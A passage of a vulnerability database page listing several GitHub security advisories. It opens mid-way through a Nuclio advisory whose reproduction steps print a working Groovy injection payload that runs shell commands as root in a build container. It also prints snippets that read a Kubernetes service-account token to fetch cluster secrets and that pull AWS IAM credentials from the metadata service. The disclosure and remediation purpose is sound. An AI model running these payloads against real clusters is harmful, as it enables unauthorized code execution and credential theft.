[\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\nrepositories {\n\n}\n\ndependencies {\n\n    compile files(\u0027./nuclio-sdk-java-1.1.0.jar\u0027)\n}\n\nshadowJar {\n   baseName = \u0027user-handler\u0027\n   classifier = null\n}\n\ntask userHandler(dependsOn: shadowJar)\n```\n\nThe Dashboard DEBUG log (path logged: `/tmp/nuclio-build-378373988/staging/handler/build.gradle`) confirms the injected Groovy reached the file verbatim.\n\n#### Step 3 \u2014 Wait for the kaniko build job and observe RCE output\n\n```bash\n# Wait for the kaniko pod to appear\nuntil kubectl --context kind-vul-006 get pods -n nuclio --no-headers \\\n    | grep -q \"kaniko\"; do sleep 2; done\n\nPOD=$(kubectl --context kind-vul-006 get pods -n nuclio --no-headers \\\n    | grep kaniko | awk \u0027{print $1}\u0027)\necho \"Build pod: ${POD}\"\n\n# Wait for completion\nuntil kubectl --context kind-vul-006 get pod -n nuclio \"${POD}\" \\\n    --no-headers | grep -qE \"Completed|Error\"; do sleep 3; done\n\n# Retrieve execution evidence\nkubectl --context kind-vul-006 logs -n nuclio \"${POD}\" \\\n    -c kaniko-executor | grep -A3 \"RCE-PROOF\"\n```\n\nActual output (from verified run, pod `nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr`):\n```\n[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)\nnuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr\nroot\nBUILD SUCCESSFUL in 2s\n\n[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)\nnuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr\nroot\nBUILD SUCCESSFUL in 512ms\n```\n\nThe marker `[RCE-PROOF]` appears twice \u2014 once per `gradle` invocation (`gradle tasks`\nand `gradle userHandler`). The output confirms:\n- `uid=0(root)` \u2014 execution as root inside the builder container\n- The pod name as hostname \u2014 confirms execution is inside the real build container, not simulated\n- `root` \u2014 `whoami` output corroborates the UID\n\n### Cleanup\n\n```bash\nkubectl --context kind-vul-006 delete nucliofunction vul006-test -n nuclio\nkind delete cluster --name vul-006\n```\n\n---\n\n## Impact\n\n### Direct Impact\n\nAn unauthenticated attacker can execute arbitrary OS commands as root inside the function builder container on every Java function build. Confirmed capabilities from the build container environment:\n\n- Read/write the build container filesystem\n- Access network endpoints reachable from the build pod\n- Tamper with the compiled function artifact (`.jar`) before it is packaged into the\n  processor image \u2014 effectively poisoning the resulting function\u0027s image\n\n### Privilege Escalation \u2014 Docker Socket Escape (Verified: NOT directly exploitable in default configuration)\n\n**Verification result: In the default docker builder configuration, direct Docker socket escape via Gradle code injection is NOT exploitable.**\n\n#### Environment\n\n- Cluster: kind-vul-009, Nuclio v1.15.27-amd64\n- Builder: `NUCLIO_CONTAINER_BUILDER_KIND=docker` (confirmed via `kubectl describe`)\n- Dashboard pod: `nuclio-dashboard-5f8ddc949c-sfzh4`\n- Verified: 2026-05-19 06:21 UTC\n\n#### docker.sock Mount Confirmed on Dashboard Pod\n\n```\nMounts:\n  /var/run/docker.sock from docker-sock (rw)\n\nVolumes:\n  docker-sock:\n    Type:     HostPath (bare host directory volume)\n    Path:     /var/run/docker.sock\n```\n\nThe Docker socket is accessible within the Dashboard container itself (Docker v29.1.2 API confirmed reachable).\n\n#### Build Flow in docker Builder Mode\n\nNuclio generates a `Dockerfile.onbuild` and submits it to Docker daemon via the socket:\n\n```dockerfile\nFROM quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64\nCOPY handler/build.gradle /home/gradle/src/userHandler\nCOPY ${NUCLIO_BUILD_LOCAL_HANDLER_DIR} /home/gradle/src/userHandler\nRUN cd /home/gradle/src/userHandler \u0026\u0026 ./build-user-handler.sh   # Gradle executes here\n```\n\nActual command issued (from Dashboard DEBUG log):\n\n```\ndocker build --network host --force-rm -t nuclio-onbuild-d8602mam53lc7e12q410 \\\n  -f Dockerfile.onbuild --build-arg NUCLIO_LABEL=1.15.27 ...\n```\n\n#### Probe Results (Step 7/9 RUN Layer)\n\nInjection payload in `repositories[0]`:\n\n```\nmavenCentral()\n}\nprintln(\u0027[PROBE-1] docker.sock exists: \u0027 + new File(\u0027/var/run/docker.sock\u0027).exists())\nprintln(\u0027[PROBE-2] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027ls -la /var/run/docker.sock 2\u003e\u00261 || echo NOT_FOUND\u0027].execute().text)\nprintln(\u0027[PROBE-ENV] hostname=\u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027hostname\u0027].execute().text.trim())\nrepositories {\n```\n\nGradle output (captured twice \u2014 once per `gradle tasks` / `gradle userHandler` invocation):\n\n```\n\u003e Configure project :\n[PROBE-1] docker.sock exists: false\n[PROBE-2] ls: cannot access \u0027/var/run/docker.sock\u0027: No such file or directory\nNOT_FOUND\n\n[PROBE-ENV] hostname=VM-0-8-ubuntu\n\nBUILD SUCCESSFUL in 2s\n```\n\nThe RCE executed successfully. The `docker.sock` does not exist inside the `RUN`-stage container.\n\n#### Root Cause\n\nEach `RUN` instruction in a `docker build` executes inside an isolated intermediate container\n(`b747a20b21ba`). That container:\n\n1. Has a filesystem built from image layers only \u2014 it does **not** inherit volume mounts from the caller (the Dashboard container).\n2. `--network host` shares the host network namespace (explaining `hostname=VM-0-8-ubuntu`) but does **not** share the filesystem.\n3. Docker daemon never exposes the host filesystem (including `/var/run/docker.sock`) to build-stage containers unless the Dockerfile explicitly arranges it.\n\n#### Conditions Required for Exploitability\n\nThis path becomes exploitable only under non-default configurations:\n\n- **Dockerfile with explicit socket bind**: e.g., BuildKit `--mount=type=bind,source=/var/run/docker.sock,...` in the onbuild image, or replacing `docker build` with `docker run -v /var/run/docker.sock:/var/run/docker.sock`\n- **Privileged build containers**: `--privileged` mode with `mknod` device node creation\n- **Docker-in-Docker setup**: Docker daemon pre-installed and launched inside the builder image\n\nNone of these conditions exist in the standard Nuclio Helm chart deployment.\n\nEvidence: `evidence/logs/docker-builder-socket-probe.log`\n\n### Privilege Escalation \u2014 Kubernetes ServiceAccount Token\n\nThe build pod can read the ServiceAccount token mounted within it. **However**, the kaniko Job\u0027s `serviceAccountName` is sourced from `builderServiceAccount`, function `serviceAccount`, `kaniko.defaultServiceAccount`, or the platform\u0027s default function SA (see `pkg/containerimagebuilderpusher/kaniko.go:301`, `:375`, `:840-849`). This is not inherently the same as the Nuclio Dashboard\u0027s high-privilege ServiceAccount.\n\nIn deployments where the build pod uses a high-privilege ServiceAccount (e.g., where an administrator has bound overly broad RBAC roles to the builder SA), an attacker can read the token and query the Kubernetes API:\n\n```groovy\n// Read the build pod\u0027s own SA token (not the Dashboard SA)\ndef token = new File(\u0027/var/run/secrets/kubernetes.io/serviceaccount/token\u0027).text\n[\u0027sh\u0027, \u0027-c\u0027, \"curl -sk -H \u0027Authorization: Bearer ${token}\u0027 \" +\n \u0027https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets\u0027].execute().text\n```\n\nThe effective permissions of this token depend on the RBAC bindings of the build pod\u0027s ServiceAccount. Under least-privilege configurations, this token may not be able to access sensitive resources.\n\n### Cross-Tenant Access (Horizontal Escalation)\n\nNuclio uses Kubernetes namespaces for tenant isolation. Build containers in docker mode share the host Docker daemon. An attacker can enumerate and access containers belonging to other tenants via the Docker socket.\n\n### Cloud Instance Metadata (SSRF \u2014 Managed Kubernetes)\n\nIn EKS, GKE, or AKS environments, the build container can reach the cloud instance metadata service:\n\n```groovy\n// AWS IMDSv2 \u2014 retrieve IAM role credentials\ndef imdsToken = [\u0027sh\u0027, \u0027-c\u0027,\n    \u0027curl -s -X PUT \"http://169.254.169.254/latest/api/token\" \u0027 +\n    \u0027-H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"\u0027].execute().text.trim()\ndef role = [\u0027sh\u0027, \u0027-c\u0027,\n    \"curl -s -H \u0027X-aws-ec2-metadata-token: ${imdsToken}\u0027 \" +\n    \u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027].execute().text\n```\n\nObtained temporary IAM credentials grant access to AWS services (ECR, S3, etc.) available to the node\u0027s IAM role.\n\n---\n\n## Severity\n\n**CVSS 3.1 Score: 10.0 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n```\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network | Dashboard API is network-accessible |\n| Attack Complexity | Low | Single POST request; no race condition or special preparation |\n| Privileges Required | None | Default NOP authentication requires no credentials |\n| User Interaction | None | No user action required |\n| Scope | Changed | Impact can escape the build container under common production deployments (see below) |\n| Confidentiality | High | Registry credentials, SA tokens, cloud credentials readable in most deployments |\n| Integrity | High | Function images can be tampered; cluster resources modifiable |\n| Availability | High | Build pipeline can be disrupted; cluster resources deletable |\n\n### Rating Rationale\n\nThis RCE has realistic conditions for further credential acquisition and lateral movement from the build container. In particular, under the following common production deployment scenarios:\n\n- Kaniko builds use registry secrets (image push credentials mounted into the build pod)\n- ECR registry provider secrets are configured\n- Node IAM metadata is reachable (IMDS not blocked)\n- Build pods use a high-privilege ServiceAccount\n\nAn attacker can read image registry credentials, AWS/GCP temporary credentials, or Kubernetes SA tokens, and subsequently poison the image registry, access cluster resources, or pivot to cloud resources. A **Critical** rating is justified under these common deployment conditions.\n\n**Downgrade conditions**: If a deployment follows least-privilege principles \u2014 no registry/cloud credential mounts, IMDS blocked, build SA has no sensitive RBAC bindings \u2014 the impact is primarily limited to code execution within the build container and artifact tampering. This remains **High** severity but should not be justified on the basis of \"default lateral movement.\"\n\n---\n\n## Affected Versions\n\n- Nuclio \u003c= **1.15.27** (latest release as of 2026-05-17)\n- All versions that include the Java runtime build path\n  (`pkg/processor/build/runtime/java/runtime.go`)\n\nThe vulnerability was introduced when the Java runtime and its `runtimeAttributes` support were added and has not been addressed in any release to date.\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.5\n\n---\n\n## Workarounds\n\nUntil a patch is released, the following mitigations reduce exposure:\n\n1. **Enable authentication on the Dashboard.** Set `NUCLIO_AUTH_KIND` to a non-NOP\n   authenticator (e.g., `iguazio`). This prevents unauthenticated access to the function\n   creation API.\n\n2. **Network-restrict the Dashboard port (8070).** Allow access only from trusted internal\n   networks or VPN. Do not expose the Dashboard to the public internet.\n\n3. **Disable Java runtime support** if not in use. Remove the Java runtime handler from\n   the dashboard deployment configuration.\n\n4. **Use kaniko over docker builder.** In kaniko mode the Docker socket is not mounted,\n   eliminating the host-escape path. The build-time RCE remains exploitable, but the\n   blast radius is reduced to the build pod.\n\n---\n\n## Remediation Recommendations\n\n**Option 1 \u2014 Input validation (recommended for quick fix)**\n\nIn `newBuildAttributes()` (`types.go:50`), validate each repository string against an allowlist pattern before accepting it:\n\n```go\nimport \"regexp\"\n\nvar repoPattern = regexp.MustCompile(`^[a-zA-Z0-9_\\-\\(\\)\\.:\\/]+$`)\n\nfor _, repo := range newBuildAttributes.Repositories {\n    if !repoPattern.MatchString(repo) {\n        return nil, fmt.Errorf(\"invalid repository value: %q\", repo)\n    }\n}\n```\n\n**Option 2 \u2014 Replace `text/template` with a safe rendering approach**\n\nThe repositories block should not use a Go template at all. Build the `build.gradle` content programmatically using string concatenation with per-value validation, rather than via a template that cannot express per-field escaping semantics.\n\n**Option 3 \u2014 Content Security: reject newlines and Groovy metacharacters**\n\nReject any repository value containing `\\n`, `\\r`, `{`, `}`, `(`, `)`, `\u0027`, `\"`. These characters are not present in valid Maven repository declarations.\n\n---\n\n## Resources\n\n- `pkg/processor/build/runtime/java/runtime.go` \u2014 `createGradleBuildScript()` (line 87)\n- `pkg/processor/build/runtime/java/runtime.go` \u2014 `getGradleBuildScriptTemplateContents()` (line 149)\n- `pkg/processor/build/runtime/java/types.go` \u2014 `newBuildAttributes()` (line 50)\n- Go `text/template` documentation: https://pkg.go.dev/text/template\n- Groovy `List.execute()` / `String.execute()`: https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()\n- Nuclio Dashboard authentication configuration: https://nuclio.io/docs/latest/reference/api/nuclio_dashboard_api/",
  "id": "GHSA-3v79-m2cg-89ww",
  "modified": "2026-07-16T19:40:53Z",
  "published": "2026-07-16T19:40:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-3v79-m2cg-89ww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/pull/4149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/commit/4c78040c759068e927f3ed7c6507543c15d4ae56"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuclio/nuclio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/releases/tag/1.16.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE"
}

GHSA-3V82-HQ57-C7XH

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

Invision Community (aka IPS Community Suite) before 4.6.0 allows eval-based PHP code injection by a moderator because the IPS\cms\modules\front\pages_builder::previewBlock method interacts unsafely with the IPS_Theme::runProcessFunction method.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-01T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Invision Community (aka IPS Community Suite) before 4.6.0 allows eval-based PHP code injection by a moderator because the IPS\\cms\\modules\\front\\pages\\_builder::previewBlock method interacts unsafely with the IPS\\_Theme::runProcessFunction method.",
  "id": "GHSA-3v82-hq57-c7xh",
  "modified": "2022-05-24T19:03:43Z",
  "published": "2022-05-24T19:03:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32924"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1092574"
    },
    {
      "type": "WEB",
      "url": "https://invisioncommunity.com/features/security"
    },
    {
      "type": "WEB",
      "url": "http://karmainsecurity.com/KIS-2021-04"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/162868/IPS-Community-Suite-4.5.4.2-PHP-Code-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/May/80"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3VG4-CHHH-5FM7

Vulnerability from github – Published: 2022-05-17 04:29 – Updated: 2025-04-12 12:41
VLAI
Details

The SAP Promotion Guidelines (CRM-MKT-MPL-TPM-PPG) module for SAP CRM allows remote attackers to execute arbitrary code via unspecified vectors.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-8669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-11-06T15:55:00Z",
    "severity": "HIGH"
  },
  "details": "The SAP Promotion Guidelines (CRM-MKT-MPL-TPM-PPG) module for SAP CRM allows remote attackers to execute arbitrary code via unspecified vectors.",
  "id": "GHSA-3vg4-chhh-5fm7",
  "modified": "2025-04-12T12:41:40Z",
  "published": "2022-05-17T04:29:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8669"
    },
    {
      "type": "WEB",
      "url": "http://blog.onapsis.com/analyzing-sap-security-notes-october-2014-edition"
    },
    {
      "type": "WEB",
      "url": "http://service.sap.com/sap/support/notes/0001835691"
    },
    {
      "type": "WEB",
      "url": "http://service.sap.com/sap/support/notes/0001872638"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3VP4-9JC4-Q799

Vulnerability from github – Published: 2023-12-15 18:30 – Updated: 2023-12-15 18:30
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions from 16.3 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. File integrity may be compromised when specific HTML encoding is used for file names leading for incorrect representation in the UI.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-5512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-15T16:15:46Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions from 16.3 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. File integrity may be compromised when specific HTML encoding is used for file names leading for incorrect representation in the UI.",
  "id": "GHSA-3vp4-9jc4-q799",
  "modified": "2023-12-15T18:30:28Z",
  "published": "2023-12-15T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5512"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2194607"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/427827"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3VPG-QJ28-69PX

Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30
VLAI
Details

A remote, unauthenticated privilege escalation in ibi WebFOCUS allows an attacker to gain administrative access to the application which may lead to unauthenticated Remote Code Execution

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T17:15:35Z",
    "severity": "CRITICAL"
  },
  "details": "A remote, unauthenticated privilege escalation in ibi WebFOCUS allows an attacker to gain administrative access to the application which may lead to unauthenticated Remote Code Execution",
  "id": "GHSA-3vpg-qj28-69px",
  "modified": "2025-10-14T18:30:28Z",
  "published": "2025-10-14T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11548"
    },
    {
      "type": "WEB",
      "url": "https://community.tibco.com/advisories/ibi-security-advisory-october-14-2025-ibi-webfocus-cve-2025-11548-r222"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3VW3-8GQG-PHX5

Vulnerability from github – Published: 2022-05-02 03:22 – Updated: 2025-04-09 04:11
VLAI
Details

The Microsoft Office Web Components Spreadsheet ActiveX control (aka OWC10 or OWC11), as distributed in Office XP SP3 and Office 2003 SP3, Office XP Web Components SP3, Office 2003 Web Components SP3, Office 2003 Web Components SP1 for the 2007 Microsoft Office System, Internet Security and Acceleration (ISA) Server 2004 SP3 and 2006 Gold and SP1, and Office Small Business Accounting 2006, when used in Internet Explorer, allows remote attackers to execute arbitrary code via a crafted call to the msDataSourceObject method, as exploited in the wild in July and August 2009, aka "Office Web Components HTML Script Vulnerability."

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2009-1136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-07-15T15:30:00Z",
    "severity": "HIGH"
  },
  "details": "The Microsoft Office Web Components Spreadsheet ActiveX control (aka OWC10 or OWC11), as distributed in Office XP SP3 and Office 2003 SP3, Office XP Web Components SP3, Office 2003 Web Components SP3, Office 2003 Web Components SP1 for the 2007 Microsoft Office System, Internet Security and Acceleration (ISA) Server 2004 SP3 and 2006 Gold and SP1, and Office Small Business Accounting 2006, when used in Internet Explorer, allows remote attackers to execute arbitrary code via a crafted call to the msDataSourceObject method, as exploited in the wild in July and August 2009, aka \"Office Web Components HTML Script Vulnerability.\"",
  "id": "GHSA-3vw3-8gqg-phx5",
  "modified": "2025-04-09T04:11:59Z",
  "published": "2022-05-02T03:22:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1136"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-043"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5809"
    },
    {
      "type": "WEB",
      "url": "http://blogs.technet.com/msrc/archive/2009/07/13/microsoft-security-advisory-973472-released.aspx"
    },
    {
      "type": "WEB",
      "url": "http://blogs.technet.com/srd/archive/2009/07/13/more-information-about-the-office-web-components-activex-vulnerability.aspx"
    },
    {
      "type": "WEB",
      "url": "http://isc.sans.org/diary.html?storyid=6778"
    },
    {
      "type": "WEB",
      "url": "http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/browser/owc_spreadsheet_msdso.rb"
    },
    {
      "type": "WEB",
      "url": "http://www.microsoft.com/technet/security/advisory/973472.mspx"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA09-223A.html"
    },
    {
      "type": "WEB",
      "url": "http://xeye.us/blog/2009/07/one-0day"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3VWR-JJ4F-H98X

Vulnerability from github – Published: 2024-05-15 21:19 – Updated: 2024-05-15 21:19
VLAI
Summary
eZ Publish Remote code execution in file uploads
Details

This Security Advisory is about a vulnerability in the way eZ Platform and eZ Publish Legacy handles file uploads, which can in the worst case lead to remote code execution (RCE), a very serious threat. An attacker would need access to uploading files to be able to exploit the vulnerability, so if you have strict controls on this and trust all who have this permission, you're not affected. On the basis of the tests we have made, we also believe the vulnerability cannot be exploited as long as our recommended vhost configuration is used. Here is the v2.5 recommendation for Nginx, as an example:

https://github.com/ezsystems/ezplatform/blob/2.5/doc/nginx/vhost.template#L31

This vhost template specifies that only the file app.php in the web root is executed, while vulnerable configurations allow execution of any php file. Apache is affected in the same way as Nginx, and is also protected by using the recommended configuration. The build-in webserver in PHP stays vulnerable, as it doesn't use this type of configuration (this webserver should only be used for development, never for production). We cannot be 100% certain our configuration is not vulnerable. We also do not know if all our users use the recommended configuration, so we send out this fix to be on the safe side.

The fix includes a blacklist feature for uploaded filenames, such as ".php". The file types on the blacklist cannot be uploaded. The blacklist is configurable. In eZ Platform you will find it as ezsettings.default.io.file_storage.file_type_blacklist in eZ/Bundle/EzPublishCoreBundle/Resources/config/default_settings.yml in vendors/ezsystems/ezpublish-kernel. In eZ Publish Legacy you will find it as FileExtensionBlackList in settings/file.ini. By default it blocks these file types: php, php3, phar, phpt, pht, phtml, pgif. The fix also inclues a new block against path traversal attacks, though this kind of attack was not reproducible in our tests.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ezsystems/ezpublish-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.5.0"
            },
            {
              "fixed": "7.5.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ezsystems/ezpublish-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.13.0"
            },
            {
              "fixed": "6.13.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ezsystems/ezpublish-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0"
            },
            {
              "fixed": "5.4.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-15T21:19:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "This Security Advisory is about a vulnerability in the way eZ Platform and eZ Publish Legacy handles file uploads, which can in the worst case lead to remote code execution (RCE), a very serious threat. An attacker would need access to uploading files to be able to exploit the vulnerability, so if you have strict controls on this and trust all who have this permission, you\u0027re not affected. On the basis of the tests we have made, we also believe the vulnerability cannot be exploited as long as our recommended vhost configuration is used. Here is the v2.5 recommendation for Nginx, as an example:\n\nhttps://github.com/ezsystems/ezplatform/blob/2.5/doc/nginx/vhost.template#L31\n\nThis vhost template specifies that only the file app.php in the web root is executed, while vulnerable configurations allow execution of any php file. Apache is affected in the same way as Nginx, and is also protected by using the recommended configuration. The build-in webserver in PHP stays vulnerable, as it doesn\u0027t use this type of configuration (this webserver should only be used for development, never for production). We cannot be 100% certain our configuration is not vulnerable. We also do not know if all our users use the recommended configuration, so we send out this fix to be on the safe side.\n\nThe fix includes a blacklist feature for uploaded filenames, such as \".php\". The file types on the blacklist cannot be uploaded. The blacklist is configurable. In eZ Platform you will find it as ezsettings.default.io.file_storage.file_type_blacklist in eZ/Bundle/EzPublishCoreBundle/Resources/config/default_settings.yml in vendors/ezsystems/ezpublish-kernel. In eZ Publish Legacy you will find it as FileExtensionBlackList in settings/file.ini. By default it blocks these file types: php, php3, phar, phpt, pht, phtml, pgif. The fix also inclues a new block against path traversal attacks, though this kind of attack was not reproducible in our tests.\n",
  "id": "GHSA-3vwr-jj4f-h98x",
  "modified": "2024-05-15T21:19:07Z",
  "published": "2024-05-15T21:19:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://ezplatform.com/security-advisories/ezsa-2020-001-remote-code-execution-in-file-uploads"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/ezsystems/ezpublish-kernel/2020-03-03-1.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ezsystems/ezpublish-kernel"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20210304031629/https://developers.ibexa.co/security-advisories/ezsa-2020-001-remote-code-execution-in-file-uploads"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "eZ Publish Remote code execution in file uploads"
}

GHSA-3W4H-R27H-4R2W

Vulnerability from github – Published: 2022-05-24 21:59 – Updated: 2024-02-20 15:13
VLAI
Summary
TYPO3 Image Processing susceptible to Code Execution
Details

TYPO3 8.x before 8.7.25 and 9.x before 9.5.6 is susceptible to remote code execution because it does not properly configure the applications used for image processing, as demonstrated by ImageMagick or GraphicsMagick. For a successful exploit, the GhostScript binary gs must be available on the server system.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.7.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.7.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-11832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-20T15:13:51Z",
    "nvd_published_at": "2019-05-09T05:29:00Z",
    "severity": "HIGH"
  },
  "details": "TYPO3 8.x before 8.7.25 and 9.x before 9.5.6 is susceptible to remote code execution because it does not properly configure the applications used for image processing, as demonstrated by ImageMagick or GraphicsMagick.\nFor a successful exploit, the GhostScript binary `gs` must be available on the server system.",
  "id": "GHSA-3w4h-r27h-4r2w",
  "modified": "2024-02-20T15:13:51Z",
  "published": "2022-05-24T21:59:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/3530"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/commit/2c04eeac44733fda491f92c697f88c1337d19c79"
    },
    {
      "type": "WEB",
